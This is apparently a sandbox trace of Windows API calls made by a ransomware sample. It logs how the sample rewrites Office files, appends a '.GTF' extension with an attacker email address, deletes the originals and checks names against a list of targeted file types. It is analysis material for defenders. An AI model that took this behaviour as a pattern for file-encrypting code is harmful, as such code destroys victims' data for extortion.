	[0073.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0073.065] GetLastError () returned 0x0
	[0073.065] ReadFile (in: hFile=0x374, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x2a9c0, lpOverlapped=0x0) returned 1
	[0073.069] WriteFile (in: hFile=0x2d4, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x2a9d0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x2a9d0, lpOverlapped=0x0) returned 1
	[0073.073] ReadFile (in: hFile=0x374, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.073] WriteFile (in: hFile=0x2d4, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0073.073] SetEndOfFile (hFile=0x2d4) returned 1
	[0073.073] CloseHandle (hObject=0x2d4) returned 1
	[0073.077] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.077] SetEndOfFile (hFile=0x374) returned 1
	[0073.535] CloseHandle (hObject=0x374) returned 1
	[0073.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0073.536] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 1
	[0073.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0073.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0073.536] lstrlenW (lpString=".doc") returned 4
	[0073.536] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1
	[0073.536] lstrlenW (lpString=".docx") returned 5
	[0073.536] lstrcmpiW (lpString1=".docx", lpString2="P.HTM") returned -1
	[0073.536] lstrlenW (lpString=".pdf") returned 4
	[0073.536] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1
	[0073.536] lstrlenW (lpString=".xls") returned 4
	[0073.536] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1
	[0073.536] lstrlenW (lpString=".xlsx") returned 5
	[0073.536] lstrcmpiW (lpString1=".xlsx", lpString2="P.HTM") returned -1
	[0073.536] lstrlenW (lpString=".ppt") returned 4
	[0073.536] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1
	[0073.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0073.536] lstrlenW (lpString=".zip") returned 4
	[0073.536] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1
	[0073.536] lstrlenW (lpString=".rar") returned 4
	[0073.537] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1
	[0073.537] lstrlenW (lpString=".bz2") returned 4
	[0073.537] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1
	[0073.537] lstrlenW (lpString=".7z") returned 3
	[0073.537] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1
	[0073.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0073.537] lstrlenW (lpString=".dbf") returned 4
	[0073.537] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1
	[0073.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0073.537] lstrlenW (lpString=".1cd") returned 4
	[0073.537] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1
	[0073.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0073.537] lstrlenW (lpString=".jpg") returned 4
	[0073.537] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1
	[0073.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0073.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0073.537] lstrlenW (lpString=".doc") returned 4
	[0073.537] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1
	[0073.537] lstrlenW (lpString=".docx") returned 5
	[0073.537] lstrcmpiW (lpString1=".docx", lpString2="P.HTM") returned -1
	[0073.537] lstrlenW (lpString=".pdf") returned 4
	[0073.537] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1
	[0073.537] lstrlenW (lpString=".xls") returned 4
	[0073.537] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1
	[0073.537] lstrlenW (lpString=".xlsx") returned 5
	[0073.537] lstrcmpiW (lpString1=".xlsx", lpString2="P.HTM") returned -1
	[0073.537] lstrlenW (lpString=".ppt") returned 4
	[0073.537] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1
	[0073.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0073.537] lstrlenW (lpString=".zip") returned 4
	[0073.537] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1
	[0073.537] lstrlenW (lpString=".rar") returned 4
	[0073.537] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1
	[0073.537] lstrlenW (lpString=".bz2") returned 4
	[0073.537] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1
	[0073.537] lstrlenW (lpString=".7z") returned 3
	[0073.537] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1
	[0073.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0073.538] lstrlenW (lpString=".dbf") returned 4
	[0073.538] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1
	[0073.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0073.538] lstrlenW (lpString=".1cd") returned 4
	[0073.538] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1
	[0073.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51
	[0073.538] lstrlenW (lpString=".jpg") returned 4
	[0073.538] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1
	[0073.538] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0073.538] lstrlenW (lpString="AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 53
	[0073.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0073.539] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=496513) returned 1
	[0073.539] CloseHandle (hObject=0x374) returned 1
	[0073.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0073.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0073.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0073.540] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.540] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0073.540] GetLastError () returned 0x0
	[0073.540] ReadFile (in: hFile=0x374, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x79381, lpOverlapped=0x0) returned 1
	[0073.632] WriteFile (in: hFile=0x370, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x79390, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x79390, lpOverlapped=0x0) returned 1
	[0073.644] ReadFile (in: hFile=0x374, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.644] WriteFile (in: hFile=0x370, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0073.644] SetEndOfFile (hFile=0x370) returned 1
	[0073.644] CloseHandle (hObject=0x370) returned 1
	[0073.655] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.655] SetEndOfFile (hFile=0x374) returned 1
	[0073.659] CloseHandle (hObject=0x374) returned 1
	[0073.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0073.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 1
	[0073.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0073.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0073.660] lstrlenW (lpString=".doc") returned 4
	[0073.660] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0073.660] lstrlenW (lpString=".docx") returned 5
	[0073.660] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0073.660] lstrlenW (lpString=".pdf") returned 4
	[0073.660] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0073.660] lstrlenW (lpString=".xls") returned 4
	[0073.660] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0073.660] lstrlenW (lpString=".xlsx") returned 5
	[0073.660] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0073.660] lstrlenW (lpString=".ppt") returned 4
	[0073.660] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0073.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0073.660] lstrlenW (lpString=".zip") returned 4
	[0074.146] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0074.146] lstrlenW (lpString=".rar") returned 4
	[0074.146] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0074.146] lstrlenW (lpString=".bz2") returned 4
	[0074.146] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0074.146] lstrlenW (lpString=".7z") returned 3
	[0074.146] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0074.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0074.146] lstrlenW (lpString=".dbf") returned 4
	[0074.146] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0074.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0074.146] lstrlenW (lpString=".1cd") returned 4
	[0074.146] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0074.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0074.146] lstrlenW (lpString=".jpg") returned 4
	[0074.146] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0074.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0074.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0074.146] lstrlenW (lpString=".doc") returned 4
	[0074.146] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0074.146] lstrlenW (lpString=".docx") returned 5
	[0074.146] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0074.146] lstrlenW (lpString=".pdf") returned 4
	[0074.146] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0074.146] lstrlenW (lpString=".xls") returned 4
	[0074.147] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0074.147] lstrlenW (lpString=".xlsx") returned 5
	[0074.147] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0074.147] lstrlenW (lpString=".ppt") returned 4
	[0074.147] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0074.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0074.147] lstrlenW (lpString=".zip") returned 4
	[0074.147] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0074.147] lstrlenW (lpString=".rar") returned 4
	[0074.147] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0074.147] lstrlenW (lpString=".bz2") returned 4
	[0074.147] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0074.147] lstrlenW (lpString=".7z") returned 3
	[0074.147] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0074.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0074.147] lstrlenW (lpString=".dbf") returned 4
	[0074.147] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0074.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0074.147] lstrlenW (lpString=".1cd") returned 4
	[0074.147] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0074.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0074.147] lstrlenW (lpString=".jpg") returned 4
	[0074.147] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0074.147] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0074.147] lstrlenW (lpString="AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 53
	[0074.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0074.460] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=1124942) returned 1
	[0074.460] CloseHandle (hObject=0x384) returned 1
	[0074.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0074.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0074.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0074.460] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.460] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0075.763] GetLastError () returned 0x0
	[0075.766] ReadFile (in: hFile=0x384, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0075.843] WriteFile (in: hFile=0x368, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0076.380] ReadFile (in: hFile=0x384, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x12a5e, lpOverlapped=0x0) returned 1
	[0076.389] WriteFile (in: hFile=0x368, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x12a60, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x12a60, lpOverlapped=0x0) returned 1
	[0076.394] ReadFile (in: hFile=0x384, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.394] WriteFile (in: hFile=0x368, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0076.394] SetEndOfFile (hFile=0x368) returned 1
	[0077.443] CloseHandle (hObject=0x368) returned 1
	[0077.469] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.469] SetEndOfFile (hFile=0x384) returned 1
	[0077.470] CloseHandle (hObject=0x384) returned 1
	[0077.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0077.470] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 1
	[0077.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0077.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0077.508] lstrlenW (lpString=".doc") returned 4
	[0077.508] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.516] lstrlenW (lpString=".docx") returned 5
	[0077.516] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.516] lstrlenW (lpString=".pdf") returned 4
	[0077.516] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.516] lstrlenW (lpString=".xls") returned 4
	[0077.516] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.516] lstrlenW (lpString=".xlsx") returned 5
	[0077.516] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.516] lstrlenW (lpString=".ppt") returned 4
	[0077.516] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0077.516] lstrlenW (lpString=".zip") returned 4
	[0077.524] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.524] lstrlenW (lpString=".rar") returned 4
	[0077.524] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.524] lstrlenW (lpString=".bz2") returned 4
	[0077.524] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.524] lstrlenW (lpString=".7z") returned 3
	[0077.524] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0077.524] lstrlenW (lpString=".dbf") returned 4
	[0077.524] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0077.524] lstrlenW (lpString=".1cd") returned 4
	[0077.547] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0077.547] lstrlenW (lpString=".jpg") returned 4
	[0077.547] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0077.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0077.547] lstrlenW (lpString=".doc") returned 4
	[0077.547] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.547] lstrlenW (lpString=".docx") returned 5
	[0077.547] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.547] lstrlenW (lpString=".pdf") returned 4
	[0077.547] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.547] lstrlenW (lpString=".xls") returned 4
	[0077.547] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.547] lstrlenW (lpString=".xlsx") returned 5
	[0077.547] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.548] lstrlenW (lpString=".ppt") returned 4
	[0077.548] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0077.548] lstrlenW (lpString=".zip") returned 4
	[0077.548] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.548] lstrlenW (lpString=".rar") returned 4
	[0077.548] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.548] lstrlenW (lpString=".bz2") returned 4
	[0077.548] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.548] lstrlenW (lpString=".7z") returned 3
	[0077.548] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0077.548] lstrlenW (lpString=".dbf") returned 4
	[0077.548] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0077.548] lstrlenW (lpString=".1cd") returned 4
	[0077.548] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104
	[0077.548] lstrlenW (lpString=".jpg") returned 4
	[0077.548] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.548] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0077.548] lstrlenW (lpString="AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 53
